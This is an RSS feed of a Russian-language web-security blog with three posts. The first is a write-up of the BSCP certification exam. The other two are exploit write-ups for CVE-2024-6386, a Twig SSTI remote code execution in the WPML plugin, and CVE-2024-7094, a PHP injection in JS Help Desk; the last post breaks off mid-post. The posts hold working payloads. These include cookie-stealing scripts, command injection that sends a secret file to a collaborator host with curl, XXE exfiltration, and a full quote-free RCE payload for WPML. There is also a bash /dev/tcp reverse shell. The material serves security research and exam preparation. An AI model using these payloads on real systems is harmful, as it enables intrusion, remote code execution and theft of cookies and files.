<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>argendo</title><generator>teletype.in</generator><description><![CDATA[Web application security analyst]]></description><image><url>https://img2.teletype.in/files/11/0b/110ba3b2-8003-4ca9-8ad8-235b82a9952d.png</url><title>argendo</title><link>https://teletype.in/@argendo</link></image><link>https://teletype.in/@argendo?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=argendo</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/argendo?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/argendo?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Fri, 11 Sep 2026 05:07:52 GMT</pubDate><lastBuildDate>Fri, 11 Sep 2026 05:07:52 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@argendo/BSCP</guid><link>https://teletype.in/@argendo/BSCP?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=argendo</link><comments>https://teletype.in/@argendo/BSCP?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=argendo#comments</comments><dc:creator>argendo</dc:creator><title>BSCP и с чем его едят?</title><pubDate>Fri, 28 Mar 2025 01:22:12 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/72/07/72078d0c-9d89-4565-bca2-3fb7005eab7a.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/1f/0b/1f0bc81a-c48e-404d-b862-40561e8cbb18.png"></img>Как и зачем сдавать BSCP?]]></description><content:encoded><![CDATA[
  <p id="uI6R">Привет!</p>
  <p id="F0oN">Меня зовут Владимир и я старший исследователь веб-уязвимостей.<br />На днях я успешно сдал сертификацию от PortSwigger BSCP (Burp Suite Certified Practitioner) и хочу поделиться своим опытом и советами, а также разобрать что вообще встречается на экзамене.</p>
  <figure id="jCk9" class="m_column" data-caption-align="center">
    <img src="https://img1.teletype.in/files/0e/07/0e07769a-fe9c-4903-96ea-3911164f5521.png" width="2308" />
  </figure>
  <p id="JM2I">В данной статье будет разобран сам экзамен и его пробные версии, список тем и обзор лаб в PortSwigger Academy и так уже есть везде, где только можно, так что эти темы затронуты не будут.</p>
  <h2 id="O0CQ">Пробные экзамены</h2>
  <p id="eI1U">Перед сдачей PortSwigger настоятельно рекомендуют прорешать, как минимум, один пробный экзамен, который состоит из одного уязвимого приложения, где необходимо получить первичный доступ, повыситься до админа, а потом стянуть с защищаемой машины флаг, на всё про всё вам даётся 2 часа. Всего таких экзаменов два, то есть 2 пробных экзамена равносильны одному настоящему, где вам выдается 2 сервиса на 4 часа.</p>
  <p id="VhOE"><br />В целом, пробные экзамены вещь полезная и они действительно забросят вас в максимально похожие на экзамен условия, но есть одно НО. Оба экзамена представляют собой, фактически, один и тот же вектор: <code>XSS -&gt; SQL Injection -&gt; Insecure Deserialization</code>. Разница лишь в XSS&#x27;ке и техниках обфускации, после получения первичного доступа уязвимости не то, что идентичны, они одинаковые. Относительно десера, мне он не встретился нигде, тем более с таким странным чейном, как в пробном экзамене.</p>
  <p id="UOzw"><br />Впечатление от пробных экзаменов как от проверки скиллов - не очень, так как они содержат довольно посредственные уязвимости, которые не позволяют объективно оценить уровень своей подготовки. Если рассматривать их как знакомство с форматом проведения самого экзамена, то вполне ничего.</p>
  <hr />
  <h2 id="kpaF">Экзамен</h2>
  <h3 id="6iPt">Формат</h3>
  <p id="kyGT">Как я уже упоминал ранее, экзамен представляет собой 2 уязвимых веб-приложения, в каждом из которых есть 3 уязвимости, на всё это вам даётся 4 часа. Экзамен имеет формат openbook, разрешено всё, до чего вы можете добраться в Интернете: решения, пэйлоады, LLM и прочее, но сдается с автоматическим прокторингом, где записывается звук, ваше видео и экран. Также стоит отметить, что у экзамена не балльная система, а два состояния: решил обе машины - &quot;сдал&quot; или же что-то не решил и &quot;не сдал&quot;.<br />Стоит принять тот факт, что <strong>скорее всего вы не сдадите экзамен с первой попытки</strong> и, к сожалению, это естественно. <strong>4 часа - это мало</strong>, действительно очень мало. После решения пробных экзаменов может показаться, что полностью пробить одно приложение за 2 часа проще простого, но это не так.<br /><strong>Реальный экзамен сложнее, чем вы думаете.</strong> XSS в base64 на пробном экзамене - это не XSS через Web Cache Poisoning, не DOM based и уж тем более не CL.TE HTTP request smuggling в качестве уязвимости для получения первичного доступа.</p>
  <h3 id="XDMn">Уязвимости</h3>
  <p id="ryDF">В сети есть таблицы встречающихся на экзамене уязвимостей, например такая:</p>
  <figure id="H0RB" class="m_original" data-caption-align="center">
    <img src="https://img2.teletype.in/files/16/69/16692512-0795-4d72-90ca-f738ec938d7c.png" width="521" />
  </figure>
  <p id="J0EO"><br />Да, бытуют легенды, что на экзамене правда может встретиться Clickjacking, тем не менее, я молился и за остальных молюсь, чтобы это было не правдой.<br />В действительности большинство уязвимостей, встречающихся на экзамене - это что-то привычное. Почти 100% вам попадётся SQL инъекция для повышения до администратора, а также XSS или Access Control Vulnerabilities, в виде брутфорса для первичного доступа.</p>
  <p id="3otK">Уязвимости, с которыми встречался я в процессе сдачи экзамена:</p>
  <p id="obtY"><strong>Initial Access</strong></p>
  <ul id="XbIl">
    <li id="dtea">Brute force</li>
    <li id="rFW5">Web cache poisoning</li>
    <li id="atJf">XSS</li>
    <li id="OlLg">CL.TE HTTP request smuggling</li>
  </ul>
  <p id="ZzVm"><strong>Root Access</strong></p>
  <ul id="GLLd">
    <li id="Wq05">SQL Injection</li>
    <li id="2xkR">CSRF</li>
    <li id="0B8B">Access Control Vulnerabilities (брутфорс параметра RoleID)</li>
  </ul>
  <p id="RaZj"><strong>File listing</strong></p>
  <ul id="FClT">
    <li id="0q8S">SSTI</li>
    <li id="48OZ">Path Traversal</li>
    <li id="RCXv">XXE</li>
    <li id="izFu">OS Command Injection</li>
  </ul>
  <h3 id="jbdr">Как я сдавал</h3>
  <p id="e7Nj">В этом разделе я просто предоставлю рабочие пэйлоады, которые я писал в рамках экзамена:</p>
  <p id="16u9"><strong>Web cache poisoning</strong><br />Домашняя страница позволяет при помощи заголовка <code>X-Forwarded-Host: exploit-server.net</code> изменить ссылку загружаемого скрипта <code>/resources/js/tracking.js</code>:<br />На <code>exploit-server.net</code> создаём файл <code>/resources/js/tracking.js</code> с содержимым:</p>
  <pre id="AuSD" data-lang="javascript">document.location=&#x27;https://d1fueh5142jhajkc88hr0jmmqdw9kz8o.oastify.com/?cookies=&#x27;+document.cookie;</pre>
  <p id="9INN"></p>
  <p id="H7cq"><strong>XSS</strong></p>
  <pre id="3oGv" data-lang="javascript">&lt;script&gt;
location = &quot;https://app1.web-security-academy.net/?query=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2Fcollaborator.oastify.com%2F%3Fc%3D%22%2Bdocument.cookie%3E&quot;
&lt;/script&gt;</pre>
  <p id="weZe"></p>
  <p id="NnzF"><strong>CL.TE HTTP request smuggling</strong><br />GET запрос в корень переделываем в POST с версией HTTP/1.1, далее натравливаем на него HTTP Request Smuggler для обнаружения уязвимости, после этого обнаруженную уязвимость во вкладке Dashboard эксплуатируем через тот же самый Smuggler.<br />Пэйлоад будет выглядеть так:</p>
  <pre id="EABi" data-lang="python">prefix = &#x27;&#x27;&#x27;POST /post/comment HTTP/1.1
Host: app1.web-security-academy.net
Cookie: session=Bf7h0Scdp6DiQ4QxTpZok3z1m2jkoucb;
Content-Length: 1500

csrf=IKFV7IlL0ylgZZdyDIfJuwSyb7XRfzD6&amp;userAgent=&amp;postId=9&amp;name=123&amp;email=123@gmail.com&amp;website=&amp;comment=X&#x27;&#x27;&#x27;</pre>
  <p id="lMqF"></p>
  <p id="uzLZ"><strong>SQL Injection</strong><br />Все инъекции в рамках экзамена спокойно эксплуатируются при помощи sqlmap. Пример:</p>
  <pre id="ir8e" data-lang="bash">sqlmap -u &#x27;https://app1.web-security-academy.net/search-advanced?query=anime&amp;sort=AUTHOR&amp;blogArtist=&#x27; -H &#x27;Cookie: session=7xx8WDmGHuqVTxVhgjJrVg7IUfcDlu9Q&#x27; -p &#x27;query&#x27; -batch --level 5</pre>
  <p id="lS3o">и далее вытягиваем БД, таблицы и дампим нужную, как правило, это БД <code>public</code> и таблица <code>users</code>.</p>
  <p id="PvXR"></p>
  <p id="yw0n"><strong>CSRF</strong><br />На экзамене не встречается уязвимостей с CSRF токеном, не привязанным к сессии, поэтому в качестве явного признака CSRF можно спокойно использовать факт возможности отправки запроса без CSRF токена.<br />С пэйлоадами же отлично справляются Burp Engagement Tools с их генератором CSRF PoC&#x27;ов:</p>
  <pre id="s4uk" data-lang="html">&lt;html&gt;
  &lt;!— CSRF PoC - generated by Burp Suite Professional --&gt;
  &lt;body&gt;
    &lt;form action=&quot;https://app1.web-security-academy.net/account/update_email&quot; method=&quot;POST&quot;&gt;
      &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;attacker&amp;#64;exploit-unique-domain&amp;#46;exploit-server&amp;#46;net&quot; /&gt;
      &lt;input type=&quot;hidden&quot; name=&quot;form&amp;#45;id&quot; value=&quot;Yb5Gau&quot; /&gt;
      &lt;meta name=&quot;referrer&quot; content=&quot;no-referrer&quot;&gt;
      &lt;input type=&quot;submit&quot; value=&quot;Submit request&quot; /&gt;
    &lt;/form&gt;
    &lt;script&gt;
      history.pushState(&#x27;&#x27;, &#x27;&#x27;, &#x27;/&#x27;);
      document.forms[0].submit();
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>
  <p id="5Flw"></p>
  <p id="CRFj"><strong>Access Control Vulnerabilities (RoleID brute force)</strong><br />У нас есть возможность передачи параметра <code>roleid</code> с числовым значением в запросе, так что мы просто брутим его пока не найдем <code>roleid</code> администратора:</p>
  <pre id="RKQg" data-lang="http">POST /account/update-email HTTP/2
Host: app1.web-security-academy.net
Cookie: session=9jBZklpji4ABP2mau9ry7NedYOog3swt
Content-Length: 81

{&quot;csrf&quot;:&quot;XvKEKiqkpM1gP22vBSZf0A8nWXpuUy6h&quot;,&quot;email&quot;:&quot;kek@meme.ru&quot;,
 &quot;roleid&quot;: 89}</pre>
  <p id="hDNJ"></p>
  <p id="5SdG"><strong>SSTI</strong><br />У администратора есть возможность изменения шаблона письма для восстановления пароля, поэтому эксплуатируем SSTI:</p>
  <pre id="TWdm" data-lang="http">POST /admin-controls/update-reset-email HTTP/2
Host: app1.web-security-academy.net
Cookie: session=k81F3ZGz7bnLPJqrC4vPDeU29is2HNDQ
Content-Type: application/x-www-form-urlencoded
Content-Length: 127

newEmail={{+&#x27;&#x27;.__class__.__mro__[2].__subclasses__()[40](&#x27;/home/carlos/secret&#x27;).read()+}}&amp;csrf=Mlu6yKKguv5gd7z08izT34zokRkcjjej</pre>
  <p id="AbMq"></p>
  <p id="VKr6"><strong>Path Traversal</strong><br />Тут все просто, вместо картинки обращаемся к файлу с обфускацией через double URL-encode:</p>
  <pre id="NWqK" data-lang="http">GET /admin_controls/metrics/admin_image?file_name=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fhome%252fcarlos%252f%2573ecret HTTP/2</pre>
  <p id="LC6N"></p>
  <p id="6az6"><strong>XXE</strong><br />Тут мне попадался и Blind XXE через внешний DTD, и обычный Blind подобного формата:</p>
  <pre id="DimW" data-lang="xml">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;users&gt;
    &lt;user&gt;
        &lt;username&gt;njnjn&lt;/username&gt;
        &lt;email&gt;&#x60;nslookup -q=cname $(cat /home/carlos/secret).collaborator.oastify.com&#x60;&lt;/email&gt;
    &lt;/user&gt;
&lt;/users&gt;</pre>
  <p id="FoG3"></p>
  <p id="hsX5"><strong>OS Command Injection</strong><br />Тут можно было передать команду в GET-параметр <code>image_size</code>:</p>
  <pre id="uti5" data-lang="http">GET /admin-panel/metrics/adminimg?picture=6&amp;image_size=%221|curl+--data+%40/home/carlos/secret+collaborator.oastify.com%26&quot; HTTP/2</pre>
  <h2 id="JSjk">Советы</h2>
  <p id="hegV">Как я говорил ранее, 4 часа - это очень мало, так что заранее рекомендую вам установить и научиться пользоваться всеми необходимыми расширениями, такими как:</p>
  <ul id="kGZ4">
    <li id="5WvM">Java Deserialization Scanner</li>
    <li id="HT55">Hackvertor</li>
    <li id="OYi5">HTTP Request Smuggler</li>
    <li id="pBOO">Turbo Intruder</li>
    <li id="dW0p">JWT Editor</li>
    <li id="i0Sm">JSON Web Tokens</li>
    <li id="pBRE">Param Miner</li>
    <li id="PiRL">Collaborator Everywhere (опционально)</li>
  </ul>
  <p id="keUm">Из дополнительного софта вам потребуется <code>ysoserial</code> и настоятельно рекомендую <code>sqlmap</code>, который позволит вам сэкономить кучу драгоценного времени.</p>
  <p id="NHcn">Весь экзамен проходит по вектору <code>Initial access -&gt; Root -&gt; File</code>, помните это и ищите уязвимости только в новом функционале на каждом этапе.</p>
  <h3 id="kLyT">Полезные ссылки</h3>
  <p id="qB1p"><strong>Хинты и примеры решений:<br /></strong><a href="https://habr.com/ru/articles/873672" target="_blank">https://habr.com/ru/articles/873672</a><br /><a href="https://telegra.ph/BSCP-step-Three-08-02" target="_blank">https://telegra.ph/BSCP-step-Three-08-02</a><br /><a href="https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study" target="_blank">https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study</a><br /><a href="https://github.com/DingyShark/BurpSuiteCertifiedPractitioner" target="_blank">https://github.com/DingyShark/BurpSuiteCertifiedPractitioner</a><br /><a href="https://bscpcheatsheet.gitbook.io/exam#useful-solved-labs-1" target="_blank">https://bscpcheatsheet.gitbook.io/exam#useful-solved-labs-1</a></p>
  <p id="DbKZ"><strong>Шпаргалка по XSS с тэгами, событиями и примерами эксплойтов:</strong><br /><a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet" target="_blank">https://portswigger.net/web-security/cross-site-scripting/cheat-sheet</a></p>
  <p id="AtK1"><strong>Словарь пользователей:</strong><br /><a href="https://portswigger.net/web-security/authentication/auth-lab-usernames" target="_blank">https://portswigger.net/web-security/authentication/auth-lab-usernames</a></p>
  <p id="frXU"><strong>Словарь паролей:</strong><br /><a href="https://portswigger.net/web-security/authentication/auth-lab-passwords" target="_blank">https://portswigger.net/web-security/authentication/auth-lab-passwords</a></p>
  <p id="kqWk">ЗАБУДЬТЕ О СУЩЕСТВОВАНИИ <code>rockyou.txt</code> И ПРОЧИХ СЛОВАРЕЙ НА ВРЕМЯ ЭКЗАМЕНА. <br />В рамках экзамена весь брут укладывается в эти словари.</p>
  <h3 id="VtdO"><br />Алгоритм тестирования</h3>
  <p id="11uq">Самое тяжелое на экзамене - получить первичный доступ.<br />Для себя я выработал следующий путь:<br />1) Добавляем в Scope домены приложений и их поддомены.<br />2) Сразу на оба приложения травим Intruder с брутом аутентификации.<br />3) Пока работает Intruder, при наличии поиска пытаемся кинуть пару стандартных пэйлоадов для XSS, при отсутствии поиска смотрим главную страницу на наличие кэширования или на наличие DOM sink&#x27;ов, также смотрим сами посты на наличие возможности отправки комментариев и уязвимостей в них.<br />4) В большинстве случаев этот пункт вам уже не понадобится, так как Initial access зачастую получается либо брутом, либо через главную страницу. Тем не менее, на экзамене распространен Password reset poisoning via middleware, например отправка ссылки на сброс пароля на Collaborator через <code>X-Forwarded-Host</code>.<br />Описанные действия помогут в первые полчаса либо получить первичный доступ, либо хотя бы точно понять вектор атаки.</p>
  <p id="SfHw">Напоследок, не забывайте об обфускации, зачастую plain text эксплойты у вас не заведутся и заставят вас посидеть над обфускацией. </p>
  <hr />
  <h2 id="jla1">Заключение</h2>
  <p id="flB4">После решения двух машин вас попросят загрузить .zip архив с вашим Burp проектом и возьмут некоторое время на проверку. В течение 1-2 суток вам придет заветное письмо с сертификатом.</p>
  <p id="yyLB">В целом, экзамен, а главное подготовка к нему действительно учат и помогают обрести более фундаментальные навыки анализа защищенности веб-приложений.</p>
  <p id="IYnB">Благодарю вас за прочтение статьи и успехов в получении сертификата!</p>
  <p id="xWt5"></p>
  <p id="LDXW">Статья написана для: <a href="https://t.me/iamargendo" target="_blank">@iamargendo</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@argendo/cve-2024-6386</guid><link>https://teletype.in/@argendo/cve-2024-6386?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=argendo</link><comments>https://teletype.in/@argendo/cve-2024-6386?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=argendo#comments</comments><dc:creator>argendo</dc:creator><title>CVE-2024-6386</title><pubDate>Fri, 06 Sep 2024 16:03:52 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/b4/8f/b48f2e1b-b145-4eb4-817b-0755a036c4ad.png"></media:content><description><![CDATA[<img src="https://img1.teletype.in/files/cc/62/cc6263a9-5e4d-42ec-b6f6-0acdc23ece43.png"></img>RCE via Twig SSTI in WPML]]></description><content:encoded><![CDATA[
  <figure id="VOwZ" class="m_column">
    <img src="https://img3.teletype.in/files/6e/55/6e5501a4-1820-417c-9059-9be053388315.png" width="2552" />
  </figure>
  <h2 id="CV6t">RCE via Twig SSTI in WPML</h2>
  <blockquote id="OIJu"><strong>CVSS Score:</strong> <code>9.9</code><br /><strong>Vector:</strong> <code>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H</code></blockquote>
  <h2 id="J7kx">PoC</h2>
  <figure id="5naz" class="m_column">
    <img src="https://img3.teletype.in/files/a6/c1/a6c18c0f-40ce-43de-8a45-a68bc268ecac.png" width="1554" />
  </figure>
  <p id="5XOV"><a href="https://github.com/Argendo/CVE-2024-6386" target="_blank">github.com/argendo/CVE-2024-6386</a></p>
  <h2 id="M5af">Описание</h2>
  <p id="0lfA">SSTI в плагине <a href="https://wpml.org/" target="_blank">WPML</a>, предназначенном для создания и управления многоязычными сайтами на базе WordPress.</p>
  <h2 id="Uohv">Патчи</h2>
  <p id="FqmE">В версии плагина <code>4.6.13</code> и выше уязвимость полностью закрыта.</p>
  <h2 id="71Pb">Стенд</h2>
  <p id="yXd0">Деплоим тестовое приложение на WordPress и накатываем туда уязвимую версию плагина, например, <code>4.6.7</code>.</p>
  <figure id="r1La" class="m_column">
    <img src="https://img4.teletype.in/files/37/44/3744776d-9e7d-406e-a200-76c09c72e7b7.png" width="2256" />
  </figure>
  <p id="LmQ5">Получаем одностраничник на WP: </p>
  <figure id="oYJz" class="m_column">
    <img src="https://img4.teletype.in/files/32/59/325996f8-1d9f-48c4-b672-40d22a54ec59.png" width="2188" />
  </figure>
  <h2 id="Orza">Теория</h2>
  <p id="bkhZ">У плагина есть возможность интеграции с <a href="https://codex.wordpress.org/Shortcode" target="_blank">WordPress Shortcodes</a>.</p>
  <p id="Sxtg">Шорткоды нужны для выполнения различных макросов внутри постов WP, например, через них можно добавлять картинкам описание:</p>
  <figure id="KNMp" class="m_column" data-caption-align="center">
    <img src="https://img2.teletype.in/files/55/ba/55ba71f2-ea68-4b5d-b2aa-54fd50f005b8.png" width="1894" />
    <figcaption>При использовании шорткода<br /><code>[caption]&lt;wave.img&gt;The Great Wave[/caption]<br /></code>мы получим картинку с соответствующей подписью</figcaption>
  </figure>
  <p id="1IFi">В случае плагина у нас есть возможность использования шорткода <code>[wpml_language_switcher]</code>, он позволяет отображать селектор выбора языка на странице.</p>
  <p id="EjWU">Если посмотреть исходники, а именно файл <code>class-wpml-ls-public-api.php</code>, то можно заметить, что функция <code>render</code> обрабатывает этот шорткод как Twig-шаблон:</p>
  <figure id="yrgL" class="m_column">
    <img src="https://img4.teletype.in/files/f9/5d/f95d87fd-6610-4e57-b121-b2abfedc9c14.png" width="1640" />
  </figure>
  <h2 id="Iekm">Атака</h2>
  <h3 id="FJqi">SSTI</h3>
  <p id="Fxu7">Раз функция обрабатывает входные данные как Twig-шаблон мы можем попробовать осуществить инъекцию шаблонов:</p>
  <figure id="AREb" class="m_column" data-caption-align="center">
    <img src="https://img2.teletype.in/files/53/13/5313f64e-a94e-4c76-a7bb-8d8dfd0fa062.png" width="2188" />
    <figcaption>Создание поста с инъекцией в уязвимый Shortcode</figcaption>
  </figure>
  <p id="qgoZ">При рендере подобного поста наша инъекция обработается шаблонизатором и мы получим желаемый результат:</p>
  <figure id="qdS4" class="m_column" data-caption-align="center">
    <img src="https://img4.teletype.in/files/b8/85/b8858508-b990-495e-8a49-922aef13a218.png" width="2188" />
    <figcaption>Отрендеренный шаблон уязвимого Shortcode</figcaption>
  </figure>
  <h3 id="laKo">RCE</h3>
  <p id="oMa0">Несмотря на то, что мы добились SSTI, типичные инъекции для Twig-шаблонов, например, <code>{{[&#x27;id&#x27;]|filter(&#x27;system&#x27;)}}</code> здесь не применимы так, как WordPress кодирует любые кавычки в HTML.</p>
  <p id="ns3r">То есть при выполнении:</p>
  <figure id="JdVg" class="m_column" data-caption-align="center">
    <img src="https://img4.teletype.in/files/33/69/33692d33-0909-4df0-ad07-1fe2a956cae8.png" width="2188" />
  </figure>
  <p id="Xf6N">Мы просто ничего не получим:</p>
  <figure id="cwr0" class="m_column" data-caption-align="center">
    <img src="https://img3.teletype.in/files/a7/d1/a7d1dec5-0ba6-4f60-991e-7cec1d409817.png" width="2188" />
  </figure>
  <p id="n5lZ">Тем не менее мы можем обойти ограничение на использование кавычек через передачу в шаблон переменной.</p>
  <p id="w5nU">Поскольку определить строковую переменную мы не сможем, так как для этого тоже нужны кавычки, будем &quot;нарезать&quot; нужные нам символы из того, что есть.<br />Для того, чтобы что-то &quot;нарезать&quot;, нужно, чтобы было из чего нарезать, то есть какая-то переменная, которая отдаёт текст при обращении к ней.</p>
  <p id="4Xvp">В самом плагине есть несколько встроенных переменных, к которым мы можем обратиться из контекста, в котором выполняется наш шорткод:</p>
  <ul id="ACSz">
    <li id="R6eG"><code>languages</code></li>
    <li id="Z8mB"><code>current_language_code</code></li>
    <li id="vbqW"><code>css_classes</code></li>
    <li id="wy5T"><code>css_classes_link</code></li>
  </ul>
  <figure id="US71" class="m_column" data-caption-align="center">
    <img src="https://img1.teletype.in/files/c3/e9/c3e9493f-2ac0-4793-ad4c-544f62bb6698.png" width="2188" />
    <figcaption><code>{{ 1 }}</code> используется просто как сепаратор</figcaption>
  </figure>
  <p id="HuXw"> При обращении к ним мы получим следующий результат:</p>
  <figure id="yhEo" class="m_column" data-caption-align="center">
    <img src="https://img4.teletype.in/files/38/5a/385aa635-7f38-4066-85c7-2f08ad35fe44.png" width="2188" />
  </figure>
  <p id="wajx">Нас в данном случае интересуют только переменные <code>languages</code> и <code>css_classes</code>.<br />При этом, стоит отметить, что <code>languages</code> является массивом и при обращении к нему возвращает не строку, а объект, но об этом позже.</p>
  <p id="2spI">Из всего вышеперечисленного мы можем начать собирать наш словарь.</p>
  <p id="4NUT">Например, при помощи:</p>
  <p id="KW2o"> <code>{% set s = css_classes|slice(6,1) %}</code> </p>
  <p id="LgPP">мы можем получить переменную <code>s</code>, равную строке <code>&#x27;s&#x27;</code>.</p>
  <p id="PvPg">Для получения же буквы <code>y</code> нам потребуется обратиться к переменной <code>languages</code>, но поскольку она возвращает объект нам необходимо преобразовать его в строку при помощи фильтра <code>join</code> и только потом отрезать нужную нам букву.<br />То есть для получения <code>y</code> нужно сделать следующее:<br /><code>{% set y = languages|join|slice(4,1) %}</code></p>
  <p id="gfDA">Формирование необходимого словаря для выполнения минимального списка команд ОС будет выглядеть так:</p>
  <pre id="daTf">{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}</pre>
  <p id="H0Yk">Далее нам остаётся лишь сформировать список интересующих нас команд конкатенацией наших переменных-букв:</p>
  <pre id="fwqb">{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}</pre>
  <p id="wzAu">Сам же RCE с учетом выше обозначенных переменных можно сделать избегая использования кавычек при помощи команды: <code>{{[id]|map(system)|join}}</code></p>
  <figure id="XErv" class="m_column">
    <img src="https://img4.teletype.in/files/30/1c/301cc368-e1dd-40aa-b57f-f3c543dccfd0.png" width="2188" />
  </figure>
  <p id="fQ2G">В результате исполнения которого мы получим:</p>
  <figure id="kdHl" class="m_column">
    <img src="https://img3.teletype.in/files/e9/ee/e9eea781-5f7c-4571-b3cc-009114c5b202.png" width="2188" />
  </figure>
  <h2 id="5H6m">Payload</h2>
  <p id="6xMQ">Итоговый payload для выполнения команд <code>id</code>, <code>pwd</code> и <code>cat /etc/passwd</code> будет выглядеть так:</p>
  <pre id="YSIL">[wpml_language_switcher]
{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}
{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}
{{[id]|map(system)|join}}
{{[pwd]|map(system)|join}}
{{[passwd]|map(system)|join}}
[/wpml_language_switcher]</pre>
  <p id="9sAm"></p>
  <p id="92nX">Статья написана для: <a href="https://t.me/iamargendo" target="_blank">@iamargendo</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@argendo/cve-2024-7094</guid><link>https://teletype.in/@argendo/cve-2024-7094?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=argendo</link><comments>https://teletype.in/@argendo/cve-2024-7094?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=argendo#comments</comments><dc:creator>argendo</dc:creator><title>CVE-2024-7094</title><pubDate>Sun, 01 Sep 2024 15:00:45 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/b7/91/b79184e9-6a73-47e9-953a-00a6d898ab8c.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/63/b8/63b8bf71-e504-4154-a34c-e89f650d38ec.png"></img>PHP Code Injection in WordPress plugin]]></description><content:encoded><![CDATA[
  <figure id="N8uO" class="m_column">
    <img src="https://img2.teletype.in/files/1b/9c/1b9ca44e-3804-4b4a-9382-9433b7b09849.png" width="2552" />
  </figure>
  <h2 id="RO5w">PHP Injection in JS Help Desk (WordPress Plugin)</h2>
  <blockquote id="vfvN">CVSS Score: 9.8</blockquote>
  <h3 id="Описание">Описание</h3>
  <p id="7gvr">PHP-инъекция в плагине JS Help Desk, предназначенном для организации системы техподдержки на сайтах на базе WordPress.</p>
  <h3 id="Патчи">Патчи</h3>
  <p id="hyLr">В версии <em>2.8.6</em> закрыта частично, в версиях <em>2.8.7</em> и выше закрыта полностью.</p>
  <h3 id="Стенд">Стенд</h3>
  <p id="w5zk">Деплоим тестовое приложение на WordPress и накатываем туда уязвимую версию плагина, например, <em>2.7.7</em>.</p>
  <figure id="xdJB" class="m_column">
    <img src="https://telegra.ph/file/abb49e29fe7124f78248b.png" width="2178" />
  </figure>
  <p id="w8w0">Получаем одностраничник на WP:</p>
  <figure id="qo2n" class="m_column">
    <img src="https://telegra.ph/file/1015a4688b1539005cdac.png" width="2410" />
  </figure>
  <h3 id="Атака">Атака</h3>
  <p id="lLMT">У плагина есть множество всяких ручек, позволяющих его настраивать и всячески кастомизировать, одна из них позволяет нам регулировать цвета и менять темы нашего окна тикетов:</p>
  <figure id="6mgf" class="m_column">
    <img src="https://telegra.ph/file/d84257c4e723fa11235ab.png" width="2845" />
  </figure>
  <p id="VxVZ">Разумеется нас здесь интересует возможность выбора цвета и передачи его в hex формате.</p>
  <p id="OSkT">Отправляем форму и смотрим запрос через Burp:</p>
  <figure id="nsJ6" class="m_column">
    <img src="https://telegra.ph/file/7bc64dd25f84abc66cdd9.png" width="1338" />
  </figure>
  <p id="usQM">Теперь кинем запрос с попыткой эксплуатации php кода:</p>
  <figure id="mI56" class="m_column">
    <img src="https://telegra.ph/file/c729b986a9e228daeafba.png" width="1380" />
  </figure>
  <p id="lv0w">Получаем <em>200</em> код ответа и наш текст на главной:</p>
  <figure id="j87b" class="m_column">
    <img src="https://telegra.ph/file/f04b673dec9d02220738b.png" width="1446" />
  </figure>
  <p id="wByl">Ну а дальше, кидаем reverse shell в один из параметров color:</p>
  <pre id="z0sy">&quot;.shell_exec(&#x27;bash -c \&#x27;bash -i &gt;&amp; /dev/tcp/IP/PORT 0&gt;&amp;1\&#x27;&#x27;).&quot;
</pre>
  <figure id="USCD" class="m_column">
